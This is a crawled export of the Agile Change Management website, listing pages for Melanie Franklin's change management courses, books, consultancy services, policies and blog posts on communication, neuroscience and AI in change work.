best-selling change management coursesThe Agile Change Management online course contents are... --- ### Agile Change Testimonials > Agile Change Management Course Feedback - Published: 2024-02-12 - Modified: 2025-04-29 - URL: https://agilechangemanagement.co.uk/testimonials/ Agile Change ManagementCourse Feedback Agile Change Agent Feedback Agile Change Coach Feedback Change Management Practitioner Feedback Neuroscience for Change Feedback Agile Change Agent Course Feedback 2024 Play Play Play Play Play Play Previous Next Agile Change Agent Course Agile Change Coach Course Feedback 2024 Play Play Play Play Previous Next 2025 Play Agile Change Coach Course Change Management Practitioner Course Feedback 2024 Play Play Play Play Play Play Play Play Play Play Previous Next 2025 Play Play Play Previous Next Agile Change Management Practitioner Course Agile Neuroscience for Change Course Feedback 2024 Play Play Play Play Play Previous Next 2025 Play Play Play Previous Next Agile Neuroscience for Change Course --- ### Login - Published: 2024-02-05 - Modified: 2024-02-05 - URL: https://agilechangemanagement.co.uk/login/ --- ### About Melanie > Everything you need to know about Melanie is right in front of your eyes. She has 20 years of experience in different fields and helps people to make a change and improve their personal and professional performance in the UK. Melanie is also an author of many publications and a speaker at conferences worldwide. - Published: 2022-07-28 - Modified: 2025-01-28 - URL: https://agilechangemanagement.co.uk/about-melanie/ Who is Melanie Franklin? I have dedicated the last 20 years to understanding then communicating the drivers for change in organisations. This has exposed me to a wide range of organisational structures and individuals from around the world and it is this experience that I build on every day. Aside from the academic and professional qualifications that I acquired over this time, my ability to share new concepts and inspire others to embrace change and strive to improve their personal and professional performance is what I am most proud of. I am in a unique position because I balance being an active practitioner of change with transferring my knowledge to others, whereas most people with my experience are either solely leading change or training and coaching full time. I believe this balance ensures my advice is relevant and practical. Why work with me My passion and track record is for Transformational change consulting Executive Coaching Workshop design and delivery Exceptional delegate results My client work involves a broad spectrum of capacity and capability building. These are some of the examples of my most recent work Creating a panel of executive coaches to provide a 2 year coaching programme for the Dubai Health Authority. We are responsible for supporting the leadership team in their sponsorship of 24 programmes of significant change. I undertaken one to one mentoring with senior leaders, as well as leading the team of experts. I provide support for these experts in the challenges they face with those... --- ### Online Activities - Published: 2022-05-12 - Modified: 2024-01-18 - URL: https://agilechangemanagement.co.uk/oa/ --- ### Venues - Published: 2022-05-12 - Modified: 2024-01-18 - URL: https://agilechangemanagement.co.uk/venues/ --- ### Presenters - Published: 2022-05-12 - Modified: 2024-01-18 - URL: https://agilechangemanagement.co.uk/presenters/ --- ### Upcoming Events - Published: 2022-05-12 - Modified: 2024-10-23 - URL: https://agilechangemanagement.co.uk/upcoming/ --- ### White Papers - Published: 2022-04-22 - Modified: 2024-12-16 - URL: https://agilechangemanagement.co.uk/insights/white-papers/ Search Insights & Resources White Papers Points of view from Melanie on the change management profession Agile Change Management Featured white paper Resilience Powers Change Paper Read More Trending Change Agents Creating a network of change agents Read More Agile change management culture Leadership behaviours for an Agile Change culture Read More Agile change management concepts Neuroscience for change management Read More Agile change management concepts Aligning Agile Change with ADKAR© Read More Change management profession Key trends in change management 2022 Read More Upcoming events from Agile Change Management Neuroscience for Change at Work September 19, 2024 12:30 - 13:30 BST https://events. zoom. us/ev/ArBhoks_-CEVneAC0nIIJDr9KwTh9x3tRXoLkCRsTXADQ7Am1Zsw~AvSW83ofgk-oesHOBZWoAMZzP7fKTEUzAwG7y2jVXR5wEaYtrv4PwHzUHA « Impact of Neuroscience on Change Management Approaches About this event It is here – Neuroscience for Change at Work. Be the first to hear key takeaways from this insightful and practical book. Neuroscience sounds like a scary and complicated subject, but Melanie (Agile & Change guru) and Tibisay Vera (Neuroscience expert) have written a book that provides simple explanations with lots of examples and experiences from their extensive consulting work. During this webinar Melanie and Tibi will explain an intuitive 8-step model for creating brain-smart activities that reduce the fear and anxiety about change, and create energy and motivation to get involved and make change happen. Their book forms the content of the popular Neuroscience for Change course which has received amazing feedback from candidates across the world since its launch in 2023. If neuroscience hasn’t been on your radar yet, now is the... --- ### Videos - Published: 2022-04-21 - Modified: 2024-12-16 - URL: https://agilechangemanagement.co.uk/insights/videos/ Search Insights & Resources Search Videos Get actionable insights from Melanie live and on-demand. Agile Change Management Featured videos Leadership Behaviours for Effective Agile If you are in any form of leadership position, this webinar will give you the chance to benchmark your own behaviour against agile excellence and to identify areas for improvement. If you are a project/programme manager, PMO or Product Owner, this will give you lots of ideas of what discuss with your Sponsor. To support your “managing upwards” objectives, I will provide you with examples of what actions to ask your senior leaders to focus on and why these are essential to an effective agile culture. Creating the culture for Agile Feedback from many webinars, surveys and research into the adoption of agile practices clearly tells us that culture is the main blocker. In this webinar, presenter Melanie Franklin will give us a masterclass in how to define and adopt a shift in the culture of our organizations, creating the environment for a more agile approach to our projects, programmes and change initiatives and top tips and advice for breaking down a common barrier to Agile adoption. Feedback on the Value of the ACC course Really excited to share great feedback about my Agile Change Coach course - join the last course here. In just two days we’ll work through lots of easy to apply neuroscientific short cuts to help you establish new ways of working and overcome resilience. Also please can we put it in... --- ### Articles - Published: 2022-04-21 - Modified: 2024-12-16 - URL: https://agilechangemanagement.co.uk/insights/articles/ Search Insights & Resources Articles Insights and papers from Melanie that explore the progression of the change management profession --- ### In-House Change Management Training > If you're looking for In-House Change Management Training take a look at my offerings here. Contact me for more information. - Published: 2021-08-25 - Modified: 2025-06-11 - URL: https://agilechangemanagement.co.uk/courses/in-house-training/ In-House Change Management Training from Agile Change Management If your organisation is going through change, or you want to better understand the way people process change in the workplace, then you could benefit from our In-House Change Management Training. During this training, we can get a whole team involved onsite, which has numerous benefits. Book Now The Importance of In-House Change Management Training Building the capability to cope with high volumes of business change and transformation is essential. The latest Workplace Learning Report from LinkedIn and the latest research from Gartner identify change management and the ability to drive organisational culture as the top HR challenges for organisations. KPMG, Deloitte and IBM have published studies to show that CEO ambition continues to grow, with more than half of CEOs expecting to increase their level of transformation, and the impact of AI adoption is expected to increase this further. In-house change management training is an opportunity to build capability for change at scale. When 1 person learns, they have new skills which will increase their productivity. When a team learns together, they debate how they can apply these skills, leading to new ideas and improvements for them personally, for their team and for all those they engage with. Elements of In-House Change Management Training Capability Talent Innovation Growth Capability My passion is building change capability in others. I ensure that all the change management courses I train focus on creating the ability to do something. Too often, courses train people on... --- ### Shop - Published: 2021-08-24 - Modified: 2021-08-24 - URL: https://agilechangemanagement.co.uk/shop/ --- ### Download - Published: 2021-02-24 - Modified: 2025-06-13 - URL: https://agilechangemanagement.co.uk/download/ Success, here is your download Please download your free copy of our What is Agile Change, written by Melanie Franklin. DOWNLOAD Books The Author Melanie Franklin is a highly respected thought leader in change management with an impressive track record in the successful realisation of business change programmes across public and private sector organisations. An impressive array of clients have benefited from her unique insights into change, including GSK, HSBC, United Nations and International Red Cross. She is the author of several publications and a regular keynote speaker at various conferences worldwide. Learn More --- ### Vlog - Published: 2020-07-23 - Modified: 2024-07-31 - URL: https://agilechangemanagement.co.uk/vlog/ Vlogs --- ### Download - Published: 2020-01-09 - Modified: 2024-12-16 - URL: https://agilechangemanagement.co.uk/newsletter/download/ Thank you for subscribing To say thanks, please download your free copy of our What is Agile Change, written by Melanie Franklin. DOWNLOAD Books The Author Melanie Franklin is a highly respected thought leader in change management with an impressive track record in the successful realisation of business change programmes across public and private sector organisations. An impressive array of clients have benefited from her unique insights into change, including GSK, HSBC, United Nations and International Red Cross. She is the author of several publications and a regular keynote speaker at various conferences worldwide. Learn More --- ### Newsletter > Sign Up to the Agile Change Newsletter to keep up to date with courses information, classes and industry news. - Published: 2020-01-09 - Modified: 2025-05-30 - URL: https://agilechangemanagement.co.uk/newsletter/ Stay Agile with regular updates --- ### Agile Change Agent > By completing the Agile Change Agent Course, you'll create your own agile roadmap, identify the benefits of change relevant to your business. - Published: 2019-11-27 - Modified: 2025-06-11 - URL: https://agilechangemanagement.co.uk/courses/agile-change-agent/ Agile Change Agent Course Virtual Classroom or Self-Paced Online The Agile Change Agent course is based upon the successful book 'Agile Change Management' – a practical framework for successful change planning and implementation. There are two versions of the Agile Change Agent course - a virtual classroom instructor-led event delivered over two consecutive days or a self-paced e-learning course equating to 20 hours of training. Book Virtual Classroom Course BOOK SELF-PACED ONLINE COURSE https://www. youtube. com/watch? v=vKgbkzV9Vps Scope, plan and manage agile change initiatives Agile Change Agent Course - Key Takeaways By completing the Agile Change Agent Course, you will:Create your own agile roadmap. Identify the benefits of change relevant to your business. Build a road map of your stakeholders. Learn techniques to engage stakeholders in participating in your change culture. How will the certified Agile Change Agent Course develop my career? The course contents are drawn from my book Agile Change Management, which is a practical guide to planning and delivering change using the Agile principles of incremental and iterative delivery. As well as the structural techniques for creating the plan and prioritising the work, this course includes techniques for the people side of change. We look at ways to build productive, respectful relationships with those we need to persuade to work differently, using two perspectives:Techniques for creating empathy between yourself and those you seek to influence. Techniques to build an environment that supports and encourages people as they adapt to new ways of working. Learn with the author... --- ### Courses > Take a look at all of our Change Management Courses an select the best one for you and your team. Which will you choose? - Published: 2018-05-08 - Modified: 2025-06-11 - URL: https://agilechangemanagement.co.uk/courses/ Change Management Courses Melanie's change management courses are for professionals, course places are limited. Book now to secure your place. Which course is right for me & my team Agile Change Agent If you want to break your change into a series of agile iterations, prioritising your work by the value it delivers for the business, then the Agile Change Agent course is the one for you. Bite-sized pieces of common sense Scope and plan your workplace change initiative Use simple, intuitive techniques to identify benefits of your change within your organisation Work collaboratively with project teams and staff impacted by the change Watch Video Book Virtual Classroom Book Self-Paced Agile Change Coach If you want to use neuroscience to get people enthusiastically taking part in your organisational change by practising and adopting new ways of working, then I’d recommend my Agile Change Coach Course Fast track your knowledge of neuroscience and how this can be applied to adopting change in the workplace Practical techniques for generating trust and empathy Analyse what you say to increase your persuasiveness Learn techniques to increase your resilience Watch Video Book Virtual Classroom Book Self-Paced Change Management Practitioner If you want to formalise your knowledge of change management, and build a foundation of expertise that will last a lifetime, choose the Change Management Practitioner Course Build a solid foundation of change management knowledge within the workplace Benchmark your experience against famous theories and models Increase your confidence by knowing what others know about organisational... --- ### Books > Agile Change Management Books from Leading Agile Change consultant Melanie Franklin. Learn Melanies trusted ways to deliver effective change solutions. - Published: 2018-04-26 - Modified: 2025-06-13 - URL: https://agilechangemanagement.co.uk/books/ Books Agile Change Management Edition 2 Communicating Change Agile Change Management Managing Business Transformation Neuroscience for Change at Work Using Prince2 Agile Change Management Edition 2: A Practical Framework for Successful Change Planning and Implementation The second edition of Agile Change Management provides essential tools to build change manager capabilities and ensure change initiatives are embedded effectively throughout the organization. This book is a comprehensive resource for creating a roadmap that is flexible and unique to each organization to manage any type of change initiative. Detailing all the processes, activities and information needed, from creating the right environment for change to completing iterative tasks, it shows how to respond to different needs as they arise, reducing the potential for wasted time and resources. The updated second edition features chapters on behavioural change and decomposition in planning iterations, and new material on prototyping for business needs and virtual leadership. Whether implementing a large-scale transformation or working through projects at micro-level, Agile Change Management provides tools, frameworks and examples necessary to adapt to and manage change effectively. BUY NOW Agile Change Management: A Practical Framework for Successful Change Planning and Implementation The concept of agile working has been adopted by many organizations that recognize the need to respond quickly and easily to new opportunities in a world of complex and continuous change. Agile Change Management offers best practice advice for planning and implementing change projects. Concrete tools help deliver projects successfully and realize benefits earlier on in the process. BUY NOW Neuroscience... --- ### Copyright & Trademark > Details and descriptions of all of the Agile Change Copyright & Trademark items that you will find on our website. - Published: 2018-04-26 - Modified: 2025-05-30 - URL: https://agilechangemanagement.co.uk/copyright-trademark/ Copyright & Trademarks ITIL® is a registered trade mark of AXELOS Limited. M_o_R® is a registered trade mark of AXELOS Limited. MoP® is a registered trade mark of AXELOS Limited. MoV® is a registered trade mark of AXELOS Limited. MSP® is a registered trade mark of AXELOS Limited. P3M3® is a registered trade mark of AXELOS Limited. P3O® is a registered trade mark of AXELOS Limited. PRINCE2® is a registered trade mark of AXELOS Limited. The Swirl logo™ is a trade mark of AXELOS Limited. AgilePM® is a registered trademark of Agile Business Consortium Limited Swirl Device logo is a trademark of The APM Group Limited The APMG-International™ Agile Project Management™ and Swirl Device logo is a trade mark of The APM Group Limited, used under permission of The APM Group Limited. All rights reserved. The APMG-International Change Management™ and Swirl Device logo is a trade mark of The APM Group Limited, used under permission of The APM Group Limited. All rights reserved. The APMG International Agile Change Agent and Swirl Device logo is a trademark of The APM Group Limited, used under permission of The APM Group Limited. All rights reserved. All intellectual property rights of products and logos found on this website are owned by their respective organisations. --- ### Privacy & Cookies Policy > Agile Change Management takes your privacy very seriously. The website's Privacy Policy is committed to ensuring that your privacy is protected. It also sets out how Agile Change uses and protects any information that you give when you use this website. - Published: 2018-04-26 - Modified: 2025-05-07 - URL: https://agilechangemanagement.co.uk/privacy-policy/ IntroductionAgile Change Management is a trading name of Capability for Change Limited. Agile Change Management provides training and events to individuals and organisations aiming to thrive during periods of change. During your interactions with us we will collect personal information and we understand the importance of maintaining the security and privacy of your personal information. This policy explains how we collect information, what we do with it and what controls you have over your personal information when interacting with us. We are committed to complying with Data Protection Legislation including the General Data Protection Regulation (GDPR) and the Data Protection Act 2018. Your PrivacyAgile Change Management aims to be transparent and respectful when processing your personal information. We may change this Privacy Policy from time to time to reflect the latest view of what we do with your information. Please check back frequently; you will be able to see if changes have been made by the date it was last updated at the end of the document. Refer to the sections below for more details on how and why we use your personal information:Website UsageOur website uses cookies. Cookies are small text files that are placed on your device (e. g. computer, smartphone or other electronic device) when you browse websites, to help provide you with the best experience we can (e. g. by helping us to recognise you and your device and store some information about your preferences or past actions). You will be given a choice about which... --- ### Terms and Conditions > The Company means Agile Change Management Limited and any sub-contractor for the company. Any On-site training/course means educational courses offered by Agile Change Management for an individual corporate customer at a location specified by the customer. - Published: 2018-04-26 - Modified: 2024-12-16 - URL: https://agilechangemanagement.co.uk/terms-and-conditions/ Definitions The Company means Agile Change Management™ Limited and any sub-contractor for the company. On-site training/course means educational courses offered by Agile Change Management Limited for an individual corporate customer at a location specified by the customer. Public course means educational courses offered by Agile Change Management Limited at locations specified within the full course schedule as detailed on the website. Self-paced learning courses means access to an online training course, purchased via e-commerce. Consulting means professional advice offered by Agile Change Management Limited at locations specified by the customer. Customer means the person, firm or corporation identified as enrolling a Delegate on a Training course by way of a relevant written confirmation of enrolment or procuring Agile Change Management Limited’s Consultancy services. Confirmation means a legally binding contract instructing Agile Change Management Limited to invoice the Customer. Delegate means a person attending a Training course or On-site course or workshop. Course Materials means any documentation, listings instructions and statements in either machine-readable or printed form. Working Day means every day of the week excluding Saturday, Sunday and UK statutory holidays within the hours of 9am-5. 30pm. General These conditions shall be deemed to be incorporated in all contracts and in the case of any inconsistency with any order or letter or correspondence sent by the Customer to Agile Change Management Limited or any other communication between the Customer and Agile Change Management Limited whatever may be their respective dates and the provisions of these Conditions shall prevail unless expressly... --- ### Executive Coaching > Executive Coaching is no easy task and consulting with a professional will help. Get consultancy with Melanie in the UK and learn to create pragmatic strategies, which will ensure that those who participate in acquiring an organisation are passionate in creating the newly merged organisation. - Published: 2018-04-25 - Modified: 2024-12-16 - URL: https://agilechangemanagement.co.uk/consultancy/executive-coaching/ Executive Coaching I create pragmatic coaching plans to ensure that senior leaders and executive sponsors are equipped to deliver enterprise value in a confident manner. Contact Melanie http://youtube. com/watch? v=rJlhms3rrao Inspiring coaching that builds confidence and careers Maria Keshina, Head of Broadcast operations Start Growing Your Capacity for Leading Change I have been coaching senior leaders and Executive Sponsors in leading large-scale change initiatives for over 10 years. My change management coaching is practical and pragmatic. In fact, I think it is better described as mentoring, because the emphasis is on transferring my knowledge and experience of managing many change initiatives, giving a range of potential solutions for each of the problems raised. Using this transfer of knowledge, my coachee and I can then debate the advantages and disadvantages of each and use this discussion to design an intervention relevant to the challenge faced by the sponsor, the style of leadership that they deploy in tackling it and the leadership behaviours valued by their organisation. Key elements of my change management coaching The most important thing that I do in my coaching sessions is listen. Every organisation has a different culture, and different challenges. Organisations can be mature in some aspects of their project, programme and change management work and immature in others. I do not arrive with pre-conceived ideas, and whilst I form a perspective during my work with you, I continue to challenge my own assumptions and those of my coachees. My mantra for my work is “ask,... --- ### Culture Integration > It is important to know how to implement Culture Integration into the system. Melanie Franklin organises Culture Integration consultancy in the UK, determines the values and beliefs that build the support structure of your culture of innovation. With that knowledge you'll make smart decisions and have better understanding. - Published: 2018-04-25 - Modified: 2024-12-16 - URL: https://agilechangemanagement.co.uk/consultancy/culture-integration/ Culture integration in London I help you to identify and define the values and beliefs underpinning your culture of innovation and change and work with you to build a roadmap of activities to engage staff in the new culture. Contact Melanie http://youtube. com/watch? v=Ss2dLPDxa5M Growing your capacity for change management I help you to identify and define the values and beliefs underpinning your culture of innovation and change and work with you to build a roadmap of activities to engage staff in the new culture. I create for you a tailored toolkit of checklists, guidance notes, questionnaires, games, models, video clips, e-learning materials, workshop agendas to enable staff to change management initiatives for themselves. I work with you to design a step by step approach to managing change, relevant to the culture and strategy of your organisation. I undertaken the stakeholder analysis, visioning and planning from concept to adoption, working with all those that will managing change in your organisation. I deliver an increase in your organisations capacity for change by developing your network of local change champions, helping your Sponsors define and undertake their role and working alongside Managers to help them plan the implementation of changes. I work with your PMO, Head of Strategy and others to identify the steps needed to develop and maintain the portfolio of all change initiatives across the organisation, including criteria for authorising initiatives and a governance framework to manage the portfolio. I suggest a range of measures and a process of benefits... --- ### Transformational Change > Transformational Change is key if you need to target specific things that prevent your further progress. Our Transformational Coaching in the UK will support you in managing specific changes by using diagnostic tools to ascertain performance against critical success factors. Get in touch with Melanie by calling +44 7960 995262. - Published: 2018-04-25 - Modified: 2024-12-16 - URL: https://agilechangemanagement.co.uk/consultancy/transformational-change/ Transformational change I can support you in managing specific changes by using diagnostic tools to ascertain performance against critical success factors, perform impact assessments and business readiness assessments. Contact Melanie http://youtube. com/watch? v=Ss2dLPDxa5M Take Transformation Change Course in London and Make Your Change Initiative Work I can support you in managing specific changes by using diagnostic tools to ascertain performance against critical success factors, perform impact assessments and business readiness assessments. I have managed so many programmes and change management initiatives that I have lots of advice, guidance to share and I can help you quickly identify and plan your next steps using my experience and independent view of the situation. I design and deliver a wide range of tailored workshops to create support for your change, enabling those impacted and those implementing and embedding the change to work collaboratively to agree their approach, their roles and what actions to take. I provide on-site executive coaching for those sponsoring the change in each of the affected business areas, to ensure that the change is successfully adopted as early as possible. Melanie Recommends Change Management Specialist Start Today --- ### Agile Change Coach > The Agile Change Coach course develops your ability to lead yourself and others through organisational change, using practical frameworks. - Published: 2018-04-25 - Modified: 2025-06-11 - URL: https://agilechangemanagement.co.uk/courses/agile-change-coach/ Agile Change Coach Course Virtual Classroom or Self-Paced Online The Agile Change Coach course develops your ability to lead yourself and others through a change, using the 5 phases of a behavioural change lifecycle model. There are two versions of this course - a virtual classroom instructor-led event delivered over two consecutive days or a self-paced e-learning course equating to 20 hours of training. Book Virtual Classroom Course Book Self-paced Online Course https://youtu. be/uXom7cjbHJs Overcome psychological and emotional barriers to change Agile Change Coach Course - Key Takeaways Lots of new techniques to guide and coach others Gain confidence to address resistance to change Wide range of collaboration activities Relevant for all managers and staff affected by change How will the Agile Change Coach Course develop my career? The Agile Change Coach Course will develop your career by enabling you to identify key areas of change and how to approach change culture within an organisation. Achieving behavioural change is a critical success factor for any change initiative. New ways of thinking and working are key to accomplishing the objectives and realising the benefits. However, behaviour change is complex because it rewires the brain to respond differently to existing stimuli. Rewiring is a personal choice by all those impacted by change. Those responsible for change must identify how to influence, motivate and persuade their stakeholders—key skills which define personal leadership characteristics. This course will teach you how to seamlessly and continuously accept change personally. This will then feed into how to... --- ### Change Management > Agile Change Management provides a list of services, such as Change Management Practitioner courses, Change Management qualifications etc. - Published: 2018-04-25 - Modified: 2025-06-16 - URL: https://agilechangemanagement.co.uk/courses/change-management/ Change Management Practitioner Course Virtual Classroom The Change Management Practitioner Course provides you with the skills, techniques and processes to deliver effective change within the workplace. Foundation and Practitioner Exams set by APMG. Book Virtual Classroom Course https://agilechangemanagement. co. uk/wp-content/uploads/2024/12/Change-Management-Practitioner-Course. mp4 Turn Your Ideas into a Reality with The Change Management Practitioner Course Change Management Foundation & Practitioner How will this certified Change Management Practitioner Course develop my career? Through recent years, the change management profession has become a sought-after management discipline, and it continues to experience exponential growth. BUT... to be included in this growth and taken seriously, we must show that we have mastered the basics of handling organisational change. We must demonstrate that we have knowledge and expertise that others do not have. By gaining this globally recognisedChange Management Practitioner qualification, you will have physical evidence that you have mastered the techniques required to call yourself an expert in the field. Why Join the Change Management Practitioner Course? Project management has become a standard requirement for many non-project roles, especially in the UK. Change management skills form a significant proportion of the competencies needed for the most interesting, exciting and highly paid roles being advertised today. Increasingly, recruiters seek evidence of these skills through change management qualifications and certifications. After all, if you are hiring someone for a change role, a minimum requirement should be change management qualifications. Change management training is important because we are all expected to balance high performance in the' business as usual'... --- ### Insights > We write new insights every week bringing you our thoughts and opinions on all topics relating to workplace change - Published: 2018-04-24 - Modified: 2025-02-10 - URL: https://agilechangemanagement.co.uk/insights/ Insights Agile Change Techniques are Essential to Organisational AI AdoptionI wrote the first Agile Change Handbook in 2014 and... Read More Training and Development: Choosing the Right Activities for You and Your CareerParticipating in training and development programmes creates an amazing feeling... Read More How Do I Build My Digital Leadership Skills? Digital Leadership Master ClassDo you know how to cope with all the digital... Read More How do I Adopt a Growth Mindset? In this article, I will share the simple technique I... Read More Getting Ready to Attend a Training CourseThis week, instead of being the trainer, I am attending... Read More Making Time for Learning in 2025My New Year’s resolution for work this year is to... Read More How to Work Smarter for 2025Building on my blog from last week when I gave... Read More Creating an Achievements List for 2024I am using December to create an achievements list for... Read More Change Capability Community: The Supportive Environment Available in the Change CommunityAfter talking to so many of you who are new... Read More Change Management Survey 2024 ResultsYou may have had a message from me earlier this... Read More Your Stakeholders are Overwhelmed – Use Agile Change Techniques to Reduce WorkloadThis blog is a summary of the guidance I have... Read More Understanding and Embracing Agile ChangeRead More Change Management Training Courses & Certifications, Which Should you choose? Over the weekend a potential customer seeking to ensure she... Read More Benefits of Change Management Training from... --- ### Home > Agile Change Management supports professionals dealing with workplace change to provide them with the skills and knowledge they require - Published: 2018-04-24 - Modified: 2025-03-13 - URL: https://agilechangemanagement.co.uk/ Hi I'm Melanie A Change Management Specialist, Mentor & Founder of Agile Change Management My unique profile means I can deliver high impact Agile Change consulting alongside active training and leadership roles that effect organisational or workplace change. Agile Change Management supports professionals dealing with workplace change to provide them with the skills and knowledge they need for success. Get started What I do Trusted by Which Agile Change Management Course is Right for Me & My Team Agile Change Agent If you want to break your change into a series of agile iterations, prioritising your work by the value it delivers for the business, then the Agile Change Agent course is the one for you. Bite-sized pieces of common sense Scope and plan your workplace change initiative Use simple, intuitive techniques to identify benefits of your change within your organisation Work collaboratively with project teams and staff impacted by the change Watch Video Book Virtual Classroom Book Self-Paced Agile Change Coach If you want to use neuroscience to get people enthusiastically taking part in your organisational change by practising and adopting new ways of working, then I’d recommend my Agile Change Coach Course Fast track your knowledge of neuroscience and how this can be applied to adopting change in the workplace Practical techniques for generating trust and empathy Analyse what you say to increase your persuasiveness Learn techniques to increase your resilience Watch Video Book Virtual Classroom Book Self-Paced Change Management Practitioner If you want to formalise your knowledge... --- ### My account - Published: 2018-04-23 - Modified: 2024-09-27 - URL: https://agilechangemanagement.co.uk/my-account/ Looking for your online self-paced training? Log into your ChangeabilityPro® account hereLogin here to manage your account and purchase history Dashboard Orders Downloads Addresses Payment methods Account Details Bookings Logout Hello caroline@bubblecs. co. uk (not caroline@bubblecs. co. uk? Log out) From your account dashboard you can view your recent orders, manage your shipping and billing addresses, and edit your password and account details. --- ### Checkout - Published: 2018-04-23 - Modified: 2024-07-31 - URL: https://agilechangemanagement.co.uk/checkout/ --- ### Cart - Published: 2018-04-23 - Modified: 2024-07-31 - URL: https://agilechangemanagement.co.uk/cart/ --- --- ## Posts ### Communicating Change in the Work Place - Published: 2025-06-16 - Modified: 2025-06-16 - URL: https://agilechangemanagement.co.uk/communicating-change/ - Categories: Change management techniques, Insights, Stakeholder engagement Communicating change in the work place is as important as the change itself. It’s not unusual for there to be resistance to change, but, the way you communicate to your team could make all the difference to a successful implementation. Communicating Change in the Work Place Communicating change in the work place is as important as the change itself. It’s not unusual for there to be resistance to change, but, the way you communicate to your team could make all the difference to a successful implementation. If you’re organisation is undergoing change and you want to learn more about the best processes and practices, join one of my Change Agent or Change Coach courses. Here, you will learn the theory of change and how to lead yourself and others through workplace changes no matter how big or small. Tips for Communicating Change From my time in the industry and working with hundreds of businesses, I have put together some of my top tips for communicating change in the workplace. 1. Have a Plan Within my Agile Change Agent course, we focus on building your own Agile road map for both you and your stakeholders. This is important when communicating change because it shows your team members the direction you are heading and what you need to do in order to get there. 2. Appoint Change Leaders You can’t handle organisational change alone. You will need a team to support you. Building a change capability across your organisation is no easy feat. You can find out more about this here. 3. Training and Resources Many people don’t undersntad that workplace change is something that can be studied for success! I have a huge amount of courses, masterclasses and other resources that... --- ### The Impact of AI on Change Management and How to Stay in the Loop > In this insight, I’ll be diving into the impact of AI on Change Management, how to keep in the loop and how we can utilise it for success - Published: 2025-06-09 - Modified: 2025-06-09 - URL: https://agilechangemanagement.co.uk/the-impact-of-ai-on-change-management/ - Categories: Company AI is changing how we work in all areas. Increasingly, we are using tools to write emails, create checklists, summarise documents and create agendas. In this insight, I’ll be diving into the impact of AI on Change Management and how we can utilise it for success. Every time I use AI to help me get part of my job done, I identify other ways I can use it, so my pace of adoption increases every day. Interestingly, I have not noticed any time savings. My experience so far is that I use AI to help me prepare communications, and then I use the time saved to do additional work that improves my relationship with my stakeholders. It is helping me achieve more, but my To-do list is not getting any smaller. If you’re finding yourself in a similar position, I’d like to hear your thoughts. Why not join me on the 19th of June for a free webinar – register even if you cannot attend live then you will be sent the recording. The Impact of AI on Change Management – 3 Top Affected Areas After attending a conference on AI in Dubai last month, I came away with more ideas for the impact of AI on Change Management could be long term. I don’t know if some of these are fantastical or if I am predicting the future, which will arrive very soon. Have a read and make up your own mind – Don’t forget to sign up for... --- ### Why Understanding Neuroscience for Change is Core to Great Leadership > In a world of artificial intelligence Understanding neuroscience for change is so important and can help you on your journey to leadership - Published: 2025-06-02 - Modified: 2025-06-02 - URL: https://agilechangemanagement.co.uk/why-understanding-neuroscience-for-change-is-core-to-great-leadership/ - Categories: Company I am a believer that neuroscience is an essential subject for everyone. We all have brains, surely, we should know how they work? Understanding neuroscience for change is core to great leadership. In a world of artificial intelligence, we need to understand human intelligence if we are going to make good choices about how we balance people and technology at work. Neuroscience and Change Change is becoming one of the biggest challenges we face at work. Whether we are trying to lead others through change or just keep up with all the changes taking place around us, understanding how the brain processes change is a critical skill. You don’t have the time (and probably very little enthusiasm) for learning lots of theories and models of change management – but you do want some practical coping techniques for neuroscience and change. I have collected together some of the most important benefits of learning about neuroscience for change from those who have attended the course, learners from organisations just like yours! Use these 7 key benefits of understanding neuroscience to justify why it’s important for you to attend this course: Benefits of Understanding Neuroscience for Change There are so many benefits to understanding neuroscience for change. It’s especially beneficial for leadership roles and here’s why. Learn Practical Tools That Deliver Results You get the neuroscience theory, but I always align it back to workplace reality, with lots of examples from the changes I am involved in. My passion is to ensure you... --- ### Behaviour Change Techniques: 9 Elements for Success > Behaviour change techniques are a big part of all of my Agile Change courses. Here are 9 elements for you to focus on for change - Published: 2025-05-27 - Modified: 2025-05-27 - URL: https://agilechangemanagement.co.uk/behaviour-change-techniques-9-elements-for-success/ - Categories: Company Behaviour change techniques are a big part of all of my Agile Change courses and here’s why. Change means behaving differently, which demands a lot of energy from our brains. Our brains like the certainty of our existing habits, so to give up existing routines and replace them with something new and different requires a lot of energy. Until the change becomes something familiar and comfortable, our brains will constantly tell us “This is too hard, let’s go back to the old way of doing things” – so we need short-cuts to help us. Neuroscience and Behaviour Change Techniques Neuroscience helps us understand how the brain reacts to change, which is a great source of ideas for how to work with the brain, giving it what it needs to make the switch to new ways of working as easy as possible. 9 Behaviour Change Elements for Success There are several different behaviour change techniques out there. As part of my change courses, I have developed a nine element plan for success. Set Your Intention Prime your brain to be ready for change by clearly defining what you want to do differently and why this will help you. This will help your brain to stay focused and engaged. Imagine: What you will be doing when you work in the new way What you will have stopped doing because you have made the change Make Time for Change Deliberately schedule time for doing things differently. Choose moments in your day when you’re... --- ### Choosing the Right Agile Change Course for Your Job > Here’s a breakdown of my courses to help you with choosing the right agile change course for your job. Contact me or more information - Published: 2025-05-19 - Modified: 2025-05-19 - URL: https://agilechangemanagement.co.uk/choosing-the-right-agile-change-course-for-your-job/ - Categories: Company I was re-reading this blog from my archives which includes a table of the most requested capabilities for change roles advertised in January 2023 and matches the Agile Change courses that train build these skills. The purposes of this was to help candidates in choosing the right Agile Change Course for their jobs. Since 2023 many things have changed so I have updated the table based on my assessment of change roles advertised in the UK this week. I’ve also included guidance on which courses will deliver what you need. Choosing the Right Agile Change Course for Your Job Here’s a breakdown to help you with your course selection. Make sure you contact me if you have any questions or discuss anything. Capability Technique Course Define, deliver and support change from initial idea to successful adoption and measure of progress Technique and template for building your Change Management Strategy Agile Change Agent Using a structured process and set of tools for scoping and planning change Roadmap planning technique Agile Change Agent Assessment of change impact – intended impact and impact on other projects and change initiatives Technique for understanding the scope and interdependencies of change Agile Change Coach Strong analytical ability to identify and track interdependencies between multiple change initiatives Portfolio management, prioritisation and baselining techniques Agile Change Agent Managing complex stakeholder relationships to make sure delivery is aligned to customer and business needs. Relationship building techniques Agile Change Agent Benefits identification, measurement and realisation activities Benefits-led change techniques Agile... --- ### Defining Your Objectives for Change Management > We need to spend more time focused on defining your objectives for change management & less time on the specific work needed to achieve change - Published: 2025-05-12 - Modified: 2025-05-12 - URL: https://agilechangemanagement.co.uk/defining-your-objectives-for-change-management/ - Categories: Company We are living in a world where tools are available at our fingertips. AI, in particular, means less doing and more thinking. As we use more AI tools to create content to scope, plan and explain the changes we plan to make, there is a shift in our responsibilities. The proportion of our time spent “doing” - generating agendas, preparing presentation materials and creating meeting notes - is decreasing. We should embrace this and give ourselves more time to define our objectives for change management. 